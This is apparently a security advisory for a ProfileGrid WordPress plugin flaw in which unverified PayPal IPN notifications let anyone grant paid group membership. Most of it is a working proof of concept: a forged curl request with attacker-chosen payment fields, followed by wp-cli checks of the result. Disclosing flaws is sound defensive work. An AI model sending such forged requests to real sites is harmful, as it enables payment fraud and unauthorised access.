ProfileGrid < 5.9.9.7 – Unauthenticated Payment Bypass and Forced Group Membership via PayPal IPN Forgery | CVE 2026-12688

Description

The plugin does not verify PayPal IPN notifications before granting paid group membership, allowing unauthenticated attackers to forge a payment notification and mark any user as a paid member of any group without any payment being made.

Proof of Concept

Affected: ProfileGrid <= 5.9.9.5. Unauthenticated.

Prerequisites (the plugin's paid-group monetization feature is in use):
1. An admin has created a paid group (ProfileGrid > Groups, enable the paid option and set a price) and configured the PayPal business email in the plugin's PayPal settings.
2. A page rendering the [profilegrid_group] shortcode is published (the plugin's standard group page, which also serves as the PayPal return/IPN landing surface).
3. Note the paid group's numeric ID and a victim user ID (any existing user). In this PoC the paid group has ID 4 (price 10) and the victim is user ID 4.

Exploit (anonymous, no cookies, no PayPal signature):

curl -k -i "https://TARGET/group/?gid=4&action=ipn" \
  --data-urlencode action=ipn \
  --data-urlencode payment_status=Completed \
  --data-urlencode "custom=4|4|open" \
  --data-urlencode txn_id=FORGED-0001 \
  --data-urlencode invoice=PG-FORGED-001 \
  --data-urlencode mc_gross=0.01 \
  --data-urlencode mc_currency=USD \
  --data-urlencode receiver_email=attacker@evil.com
# -> HTTP 200. Note: no authentication, no PayPal verification, mc_gross is 0.01 against
#    the 10 price, and receiver_email is NOT the configured business address.

# custom is victim_user_id|group_id|join_type; the attacker fully controls all three,
# plus payment_status. txn_id only needs to be unique, so a fresh random value makes
# the attack repeatable.

Verify the victim is now a paid member without paying:
wp user meta get 4 pm_group                      # now includes group id 4
wp user meta get 4 pm_user_payment_status_4      # completed
wp user get 4 --field=roles                       # unchanged (this path grants group membership/payment meta only, not a WP role)